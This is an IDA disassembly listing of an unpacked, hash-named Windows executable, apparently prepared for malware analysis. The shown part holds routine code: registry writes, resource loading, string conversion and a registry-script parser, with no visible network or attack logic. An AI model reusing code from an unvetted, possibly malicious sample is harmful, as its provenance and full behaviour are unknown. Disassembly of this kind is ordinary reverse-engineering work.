;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A0A3CD3A6029132063DA812BEB103972

; File Name   :	u:\work\a0a3cd3a6029132063da812beb103972_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000DA4D (  55885.)
; Section size in file		: 0000DA4D (  55885.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  Executable	32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: .text:00401D44p
		push	ebx
		push	esi
		push	edi
		mov	edi, ds:dword_40F14C
		mov	esi, ecx
		xor	ebx, ebx
		lea	ecx, [ecx+0]


loc_401010:				; CODE XREF: sub_401000+35j
					; sub_401000+3Aj
		mov	eax, [esi+34h]
		push	0FFFFFFFFh
		push	eax
		call	edi	; WaitForSingleObject
		jmp	short loc_401020
; ---------------------------------------------------------------------------
		align 10h


loc_401020:				; CODE XREF: sub_401000+18j
					; sub_401000+30j
		mov	ecx, [esi+34h]
		push	1388h
		push	ecx
		mov	[esi+38h], bl
		call	edi	; WaitForSingleObject
		test	eax, eax
		jz	short loc_401020
		cmp	[esi+38h], bl
		jnz	short loc_401010
		cmp	[esi+8], ebx
		jnz	short loc_401010
		mov	edx, [esi+34h]
		push	edx
		call	ds:dword_40F150	; CloseHandle
		mov	eax, [esi+30h]
		push	ebx
		push	ebx
		push	12h
		push	eax
		call	ds:dword_40F234	; PostThreadMessageA
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401000	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401060	proc near		; CODE XREF: WinMain(x,x,x,x)+5Ep
					; WinMain(x,x,x,x)+8Ep
		push	esi
		mov	esi, eax
		test	esi, esi
		push	edi
		jz	short loc_40109A
		mov	edi, ds:dword_40F230
		mov	edi, edi


loc_401070:				; CODE XREF: sub_401060+38j
		cmp	byte ptr [esi],	0
		jz	short loc_40109A
		test	ebx, ebx
		mov	eax, ebx
		jz	short loc_401091
		jmp	short loc_401080
; ---------------------------------------------------------------------------
		align 10h


loc_401080:				; CODE XREF: sub_401060+1Bj
					; sub_401060+2Fj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_401091
		cmp	[esi], cl
		jz	short loc_40109F
		push	eax
		call	edi	; CharNextA
		test	eax, eax
		jnz	short loc_401080


loc_401091:				; CODE XREF: sub_401060+19j
					; sub_401060+24j
		push	esi
		call	edi	; CharNextA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_401070


loc_40109A:				; CODE XREF: sub_401060+6j
					; sub_401060+13j
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40109F:				; CODE XREF: sub_401060+28j
		push	esi
		call	edi	; CharNextA
		pop	edi
		pop	esi
		retn
sub_401060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B0	proc near		; CODE XREF: sub_402410+3Ep
					; sub_402730+C9p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F3B0
		push	offset __except_handler3
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	bl, 1
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		add	eax, 2003h
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_401117
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	eax, [ecx]
		xor	edx, edx
		cmp	eax, 0C00000FDh
		setz	dl
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	bl, bl
		call	__resetstkoflw


loc_401117:				; CODE XREF: sub_4010B0+47j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	al, bl
		lea	esp, [ebp-28h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4010B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401140	proc near		; DATA XREF: .text:loc_4011DBo

var_8		= byte ptr -8

		sub	esp, 8
		push	esi
		xor	esi, esi
		call	ds:dword_40F030	; GetThreadLocale
		push	7
		lea	ecx, [esp+10h+var_8]
		push	ecx
		push	1004h
		push	eax
		call	ds:dword_40F02C	; GetLocaleInfoA
		test	eax, eax
		jz	short loc_401185
		mov	al, [esp+0Ch+var_8]
		test	al, al
		lea	ecx, [esp+0Ch+var_8]
		jz	short loc_401185
		nop


loc_401170:				; CODE XREF: sub_401140+3Fj
		movsx	eax, al
		lea	edx, [esi+esi*4]
		inc	ecx
		lea	esi, [eax+edx*2-30h]
		mov	al, [ecx]
		test	al, al
		jnz	short loc_401170
		test	esi, esi
		jnz	short loc_401190


loc_401185:				; CODE XREF: sub_401140+21j
					; sub_401140+2Dj
		call	ds:dword_40F028	; GetACP
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_401190:				; CODE XREF: sub_401140+43j
		mov	eax, esi
		pop	esi
		add	esp, 8
		retn
sub_401140	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4011A0	proc near		; CODE XREF: .text:004011ECp
					; sub_401E30+1Ep ...
		mov	eax, 3
		retn
sub_4011A0	endp

; ---------------------------------------------------------------------------
		align 10h
		sub	esp, 94h
		lea	eax, [esp]
		push	eax
		mov	dword ptr [esp+4], 94h
		call	ds:dword_40F034	; GetVersionExA
		cmp	dword ptr [esp+10h], 2
		jnz	short loc_4011DB
		cmp	dword ptr [esp+4], 5
		mov	eax, offset sub_4011A0
		jnb	short loc_4011E0


loc_4011DB:				; CODE XREF: .text:004011CDj
		mov	eax, offset sub_401140


loc_4011E0:				; CODE XREF: .text:004011D9j
		push	eax
		push	offset off_412040
		call	ds:dword_40F0C0	; InterlockedExchange
		call	off_412040
		add	esp, 94h
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401200	proc near		; CODE XREF: sub_402730+177p
					; sub_402730+237p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_401236
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jz	short loc_401236
		mov	ecx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_C]
		push	ecx
		push	esi
		push	0FFFFFFFFh
		push	eax
		push	0
		push	edx
		mov	word ptr [esi],	0
		call	ds:dword_40F038	; MultiByteToWideChar
		neg	eax
		sbb	eax, eax
		and	eax, esi
		pop	esi
		retn	10h
; ---------------------------------------------------------------------------


loc_401236:				; CODE XREF: sub_401200+7j
					; sub_401200+Fj
		xor	eax, eax
		pop	esi
		retn	10h
sub_401200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401240	proc near		; CODE XREF: sub_402410+7Dp
					; sub_402730+F6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_401278
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jz	short loc_401278
		mov	ecx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_C]
		push	0
		push	0
		push	ecx
		push	esi
		push	0FFFFFFFFh
		push	eax
		push	0
		push	edx
		mov	byte ptr [esi],	0
		call	ds:dword_40F03C	; WideCharToMultiByte
		neg	eax
		sbb	eax, eax
		and	eax, esi
		pop	esi
		retn	10h
; ---------------------------------------------------------------------------


loc_401278:				; CODE XREF: sub_401240+7j
					; sub_401240+Fj
		xor	eax, eax
		pop	esi
		retn	10h
sub_401240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401280	proc near		; CODE XREF: sub_4050C0+188p
					; sub_405440+16Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		push	esi
		call	ds:dword_40F040	; lstrlenW
		mov	edi, [esp+8+arg_0]
		lea	ecx, [eax+eax+2]
		mov	edx, ecx
		shr	ecx, 2
		mov	eax, edi
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_401280	endp

; ---------------------------------------------------------------------------
		align 10h


loc_4012B0:				; CODE XREF: sub_401CE0+1Cp
					; sub_401E30+8Cp ...
		mov	edx, [esp+4]
		xor	eax, eax
		cmp	edx, 8007000Eh
		setz	al
		push	0
		push	0
		push	1
		dec	eax
		and	eax, 6
		add	eax, 0C0000017h
		push	eax
		call	ds:dword_40F044	; RaiseException
; ---------------------------------------------------------------------------
		db 0Bh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4012E0	proc near		; CODE XREF: sub_40A5B8+9p
					; sub_40A615+6p
		mov	eax, ecx
		xor	ecx, ecx
		mov	edx, eax
		mov	[edx], ecx
		mov	[edx+4], ecx
		mov	[edx+8], ecx
		mov	[edx+0Ch], ecx
		mov	[edx+10h], ecx
		mov	[edx+14h], ecx
		retn
sub_4012E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401300	proc near		; CODE XREF: sub_40A5B8+2Bp
					; sub_40A645+8Bp ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F3C0
		push	offset __except_handler3
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		mov	[ebp+var_4], esi
		push	ecx
		call	ds:dword_40F050	; InitializeCriticalSection
		jmp	short loc_401360
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	eax, eax
		cmp	[ebp+var_1C], 0C0000017h
		setnz	al
		dec	eax
		and	eax, 6C009h
		add	eax, 80004005h
		mov	esi, eax


loc_401360:				; CODE XREF: sub_401300+32j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401380	proc near		; CODE XREF: sub_401DD0+36p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		push	ebx
		call	ds:dword_40F060	; LoadResource
		test	eax, eax
		jnz	short loc_401399
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401399:				; CODE XREF: sub_401380+14j
		push	esi
		push	eax
		call	ds:dword_40F05C	; LockResource
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4013AD


loc_4013A7:				; CODE XREF: sub_401380+42j
					; sub_401380+50j
		pop	esi
		pop	edi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4013AD:				; CODE XREF: sub_401380+25j
		push	edi
		push	ebx
		call	ds:dword_40F058	; SizeofResource
		mov	ecx, [esp+0Ch+arg_8]
		add	eax, esi
		and	ecx, 0Fh
		jbe	short loc_4013CE


loc_4013C0:				; CODE XREF: sub_401380+4Cj
		cmp	esi, eax
		jnb	short loc_4013A7
		dec	ecx
		movzx	edx, word ptr [esi]
		lea	esi, [esi+edx*2+2]
		jnz	short loc_4013C0


loc_4013CE:				; CODE XREF: sub_401380+3Ej
		cmp	esi, eax
		jnb	short loc_4013A7
		mov	ax, [esi]
		neg	ax
		sbb	eax, eax
		and	eax, esi
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_401380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013E0	proc near		; CODE XREF: sub_402730+5Ap
					; sub_404CD0+FDp ...
		call	ds:dword_40F068	; RtlGetLastWin32Error
		test	eax, eax
		jle	short locret_4013F4
		and	eax, 0FFFFh
		or	eax, 80070000h

locret_4013F4:				; CODE XREF: sub_4013E0+8j
		retn
sub_4013E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401400	proc near		; CODE XREF: sub_403D70+33Ep
					; sub_404100+4E3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jle	short locret_401412
		and	eax, 0FFFFh
		or	eax, 80070000h

locret_401412:				; CODE XREF: sub_401400+6j
		retn
sub_401400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401420	proc near		; CODE XREF: sub_401B00+3Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi+8]
		test	eax, eax
		mov	[esp+8+var_4], 0
		jnz	short loc_40143A
		pop	esi
		pop	ecx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40143A:				; CODE XREF: sub_401420+13j
		mov	edx, [esi+0Ch]
		push	edi
		lea	ecx, [esp+0Ch+var_4]
		push	ecx
		push	offset dword_40F3CC
		push	edx
		call	eax
		mov	edi, eax
		test	edi, edi
		jl	short loc_40146F
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		lea	eax, [esi+14h]
		push	eax
		mov	eax, [esp+10h+var_4]
		push	ecx
		mov	ecx, [esi]
		push	edx
		push	eax
		push	ecx
		call	ds:dword_40F27C
		mov	edi, eax


loc_40146F:				; CODE XREF: sub_401420+2Fj
		mov	eax, [esp+0Ch+var_4]
		test	eax, eax
		jz	short loc_40147D
		mov	edx, [eax]
		push	eax
		call	dword ptr [edx+8]


loc_40147D:				; CODE XREF: sub_401420+55j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	0Ch
sub_401420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401490	proc near		; CODE XREF: sub_4050C0+144p
					; sub_405440+126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	ax, [edx]
		test	ax, ax
		jz	short loc_4014C4
		mov	ecx, [esp+arg_0]


loc_4014A0:				; CODE XREF: sub_401490+2Ej
		mov	[ecx], ax
		add	ecx, 2
		cmp	word ptr [edx],	27h
		jnz	short loc_4014B4
		mov	word ptr [ecx],	27h
		add	ecx, 2


loc_4014B4:				; CODE XREF: sub_401490+1Aj
		mov	ax, [edx+2]
		add	edx, 2
		test	ax, ax
		jnz	short loc_4014A0
		mov	[ecx], ax
		retn
; ---------------------------------------------------------------------------


loc_4014C4:				; CODE XREF: sub_401490+Aj
		mov	eax, [esp+arg_0]
		mov	word ptr [eax],	0
		retn
sub_401490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4014D0	proc near		; CODE XREF: sub_402B60+21Bp
					; sub_402B60+291p
		push	esi
		mov	esi, ecx
		mov	ecx, [esi]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_4014E8
		push	ecx
		call	ds:dword_40F020	; RegCloseKey
		mov	dword ptr [esi], 0


loc_4014E8:				; CODE XREF: sub_4014D0+9j
		pop	esi
		retn
sub_4014D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4014F0	proc near		; CODE XREF: sub_402B60+1F1p
					; sub_402B60+26Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	edx, [esp+4+arg_4]
		push	esi
		lea	eax, [esp+8+var_4]
		push	eax
		mov	eax, [esp+0Ch+arg_0]
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_8]
		push	ecx
		push	0
		push	edx
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	ds:dword_40F00C	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_401535
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_40152F
		push	ecx
		call	ds:dword_40F020	; RegCloseKey
		mov	dword ptr [esi], 0


loc_40152F:				; CODE XREF: sub_4014F0+30j
		mov	ecx, [esp+8+var_4]
		mov	[esi], ecx


loc_401535:				; CODE XREF: sub_4014F0+2Aj
		pop	esi
		pop	ecx
		retn	0Ch
sub_4014F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401540	proc near		; CODE XREF: sub_403D70+267p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	edx, [esp+arg_0]
		push	4
		lea	eax, [esp+4+arg_4]
		push	eax
		mov	eax, [ecx]
		push	4
		push	0
		push	edx
		push	eax
		call	ds:dword_40F010	; RegSetValueExA
		retn	8
sub_401540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401560	proc near		; CODE XREF: sub_403D70+1C2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	esi, ecx
		call	ds:dword_40F084	; lstrlen
		mov	ecx, [esp+8+arg_0]
		mov	edx, [esi]
		inc	eax
		push	eax
		mov	eax, [esp+0Ch+arg_8]
		push	edi
		push	eax
		push	0
		push	ecx
		push	edx
		call	ds:dword_40F010	; RegSetValueExA
		pop	edi
		pop	esi
		retn	0Ch
sub_401560	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401590	proc near		; CODE XREF: sub_403D70+310p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, ds:dword_40F084
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_4]
		push	edi
		mov	ebp, ecx
		xor	edi, edi


loc_4015A2:				; CODE XREF: sub_401590+1Dj
		push	esi
		call	ebx	; lstrlen
		inc	eax
		add	esi, eax
		add	edi, eax
		cmp	eax, 1
		jnz	short loc_4015A2
		mov	eax, [esp+10h+arg_4]
		mov	ecx, [esp+10h+arg_0]
		mov	edx, [ebp+0]
		push	edi
		push	eax
		push	7
		push	0
		push	ecx
		push	edx
		call	ds:dword_40F010	; RegSetValueExA
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	8
sub_401590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4015D0	proc near		; CODE XREF: sub_402410+90p
					; sub_4025B0+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx]
		push	ebp
		mov	ebp, [esp+8+arg_4]
		lea	ecx, [eax+ebp+1]
		cmp	ecx, [ebx+4]
		jl	short loc_40160E


loc_4015E3:				; CODE XREF: sub_4015D0+25j
		mov	eax, [ebx+4]
		shl	eax, 1
		mov	[ebx+4], eax
		mov	edx, [ebx]
		lea	ecx, [edx+ebp+1]
		mov	edx, eax
		cmp	ecx, edx
		jge	short loc_4015E3
		mov	edx, [ebx+8]
		push	eax
		push	edx
		call	ds:dword_40F268
		test	eax, eax
		jnz	short loc_40160B
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40160B:				; CODE XREF: sub_4015D0+34j
		mov	[ebx+8], eax


loc_40160E:				; CODE XREF: sub_4015D0+11j
		mov	eax, [ebx+8]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [ebx]
		add	edi, eax
		mov	ecx, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		mov	ecx, [ebx+8]
		pop	edi
		add	eax, ebp
		pop	esi
		mov	[ebx], eax
		pop	ebp
		mov	byte ptr [eax+ecx], 0
		mov	eax, 1
		pop	ebx
		retn	8
sub_4015D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401650	proc near		; CODE XREF: sub_403D70+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		test	byte ptr dword_412528, 1
		jnz	short loc_4016AC
		or	dword_412528, 1
		mov	dword_412508, offset aS_0 ; "S"
		mov	word_41250C, 8
		mov	dword_412510, offset aM	; "M"
		mov	word_412514, 4008h
		mov	dword_412518, offset aD	; "D"
		mov	word_41251C, 13h
		mov	dword_412520, offset aB	; "B"
		mov	word_412524, 11h


loc_4016AC:				; CODE XREF: sub_401650+7j
		push	ebx
		mov	ebx, ds:dword_40F088
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		xor	esi, esi
		jmp	short loc_4016C0
; ---------------------------------------------------------------------------
		align 10h


loc_4016C0:				; CODE XREF: sub_401650+6Bj
					; sub_401650+83j
		mov	eax, dword_412508[esi*8]
		push	eax
		push	edi
		call	ebx	; lstrcmpi
		test	eax, eax
		jz	short loc_4016DB
		inc	esi
		cmp	esi, 4
		jb	short loc_4016C0
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4016DB:				; CODE XREF: sub_401650+7Dj
		mov	cx, word_41250C[esi*8]
		mov	edx, [esp+0Ch+arg_4]
		pop	edi
		pop	esi
		mov	[edx], cx
		mov	eax, 1
		pop	ebx
		retn
sub_401650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401700	proc near		; CODE XREF: sub_403D70+147p

arg_0		= byte ptr  4

		movsx	ecx, [esp+arg_0]
		lea	eax, [ecx-30h]
		cmp	eax, 36h	; switch 55 cases
		ja	short loc_401723 ; default
					; jumptable 00401714 cases 10-16,23-48
		movzx	edx, ds:byte_401738[eax]
		jmp	ds:off_401728[edx*4] ; switch jump


loc_40171B:				; DATA XREF: .text:off_401728o
		lea	eax, [ecx-37h]	; jumptable 00401714 cases 17-22
		retn
; ---------------------------------------------------------------------------


loc_40171F:				; CODE XREF: sub_401700+14j
					; DATA XREF: .text:off_401728o
		lea	eax, [ecx-57h]	; jumptable 00401714 cases 49-54
		retn
; ---------------------------------------------------------------------------


loc_401723:				; CODE XREF: sub_401700+Bj
					; sub_401700+14j
					; DATA XREF: ...
		xor	al, al		; default
					; jumptable 00401714 cases 10-16,23-48

locret_401725:				; CODE XREF: sub_401700+14j
					; DATA XREF: .text:off_401728o
		retn			; jumptable 00401714 cases 0-9
sub_401700	endp

; ---------------------------------------------------------------------------
		align 4
off_401728	dd offset locret_401725, offset	loc_40171B, offset loc_40171F
					; DATA XREF: sub_401700+14r
		dd offset loc_401723	; jump table for switch	statement
byte_401738	db	0,     0,     0,     0 ; DATA XREF: sub_401700+Dr
		db	0,     0,     0,     0 ; indirect table	for switch statement
		db	0,     0,     3,     3
		db	3,     3,     3,     3
		db	3,     1,     1,     1
		db	1,     1,     1,     3
		db	3,     3,     3,     3
		db	3,     3,     3,     3
		db	3,     3,     3,     3
		db	3,     3,     3,     3
		db	3,     3,     3,     3
		db	3,     3,     3,     3
		db	3,     2,     2,     2
		db	2,     2,     2
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401770	proc near		; CODE XREF: sub_4025B0+EBp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	edi
		xor	edi, edi
		test	eax, eax
		jnz	short loc_40177D
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40177D:				; CODE XREF: sub_401770+9j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4017A7
		push	ebx
		mov	bl, [esp+8+arg_4]
		push	esi
		mov	esi, ds:dword_40F230
		nop


loc_401790:				; CODE XREF: sub_401770+2Bj
		cmp	cl, bl
		jz	short loc_4017A3
		push	eax
		call	esi	; CharNextA
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_401790
		pop	esi
		pop	ebx
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4017A3:				; CODE XREF: sub_401770+22j
		pop	esi
		mov	edi, eax
		pop	ebx


loc_4017A7:				; CODE XREF: sub_401770+11j
		mov	eax, edi
		pop	edi
		retn
sub_401770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4017B0	proc near		; CODE XREF: sub_401810+3p
					; sub_4019E0+26p ...
		push	esi
		push	edi
		mov	edi, ds:dword_40F230
		mov	esi, ecx
		lea	ebx, [ebx+0]


loc_4017C0:				; CODE XREF: sub_4017B0+30j
		mov	eax, [esi]
		movsx	ecx, byte ptr [eax]
		add	ecx, 0FFFFFFF7h
		cmp	ecx, 17h	; switch 24 cases
		ja	short loc_4017E2 ; default
					; jumptable 004017D4 cases 2,3,5-22
		movzx	ecx, ds:byte_4017F0[ecx]
		jmp	ds:off_4017E8[ecx*4] ; switch jump


loc_4017DB:				; DATA XREF: .text:off_4017E8o
		push	eax		; jumptable 004017D4 cases 0,1,4,23
		call	edi	; CharNextA
		mov	[esi], eax
		jmp	short loc_4017C0
; ---------------------------------------------------------------------------


loc_4017E2:				; CODE XREF: sub_4017B0+1Bj
					; sub_4017B0+24j
					; DATA XREF: ...
		pop	edi		; default
					; jumptable 004017D4 cases 2,3,5-22
		pop	esi
		retn
sub_4017B0	endp

; ---------------------------------------------------------------------------
		align 4
off_4017E8	dd offset loc_4017DB	; DATA XREF: sub_4017B0+24r
		dd offset loc_4017E2	; jump table for switch	statement
byte_4017F0	db	0,     0,     1,     1 ; DATA XREF: sub_4017B0+1Dr
		db	0,     1,     1,     1 ; indirect table	for switch statement
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401810	proc near		; CODE XREF: sub_4019E0+1Bp
					; sub_4019E0+32p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4017B0
		mov	ecx, [esi]
		mov	al, [ecx]
		test	al, al
		jnz	short loc_401829
		mov	eax, 80020009h
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_401829:				; CODE XREF: sub_401810+Ej
		cmp	al, 27h
		push	ebx
		push	ebp
		mov	ebp, ds:dword_40F230
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	[esp+10h+arg_0], edi
		jnz	loc_4018D0
		push	ecx
		call	ebp	; CharNextA
		mov	[esi], eax
		cmp	byte ptr [eax],	0
		jz	short loc_4018A3
		lea	esp, [esp+0]


loc_401850:				; CODE XREF: sub_401810+91j
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_40185F
		push	eax
		call	ebp	; CharNextA
		cmp	byte ptr [eax],	27h
		jnz	short loc_4018A3


loc_40185F:				; CODE XREF: sub_401810+45j
		mov	eax, [esi]
		cmp	byte ptr [eax],	27h
		jnz	short loc_40186B
		push	eax
		call	ebp	; CharNextA
		mov	[esi], eax


loc_40186B:				; CODE XREF: sub_401810+54j
		mov	ebx, [esi]
		push	ebx
		call	ebp	; CharNextA
		mov	ecx, [esp+10h+arg_0]
		add	ecx, 1000h
		lea	edx, [edi+2]
		cmp	edx, ecx
		mov	[esi], eax
		jnb	short loc_4018BD
		cmp	ebx, eax
		jnb	short loc_40189C
		mov	eax, ebx
		lea	esp, [esp+0]


loc_401890:				; CODE XREF: sub_401810+8Aj
		mov	cl, [eax]
		mov	[edi], cl
		mov	ecx, [esi]
		inc	eax
		inc	edi
		cmp	eax, ecx
		jb	short loc_401890


loc_40189C:				; CODE XREF: sub_401810+75j
		mov	edx, [esi]
